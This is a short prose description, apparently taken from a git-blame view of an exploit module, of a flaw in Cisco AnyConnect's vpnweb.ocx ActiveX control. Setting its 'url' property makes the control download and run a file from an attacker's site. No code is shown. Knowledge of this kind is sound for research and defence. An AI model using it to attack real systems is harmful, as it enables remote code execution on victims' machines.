This module exploits a vulnerability in the Cisco AnyConnect VPN client
|
|
|
|
|
vpnweb.ocx ActiveX control. This control is typically used to install the
|
2011-06-06 18:52:26 +00:00
|
|
|
VPN client. An attacker can set the 'url' property which is where the control
|
|
|
|
|
tries to locate the files needed to install the client.
|
|
|
|
|
|
|
|
|
|
The control tries to download two files from the site specified within the
|
2011-10-17 03:49:49 +00:00
|
|
|
'url' property. One of these files it will be stored in a temporary directory and

2011-06-06 18:52:26 +00:00

executed.
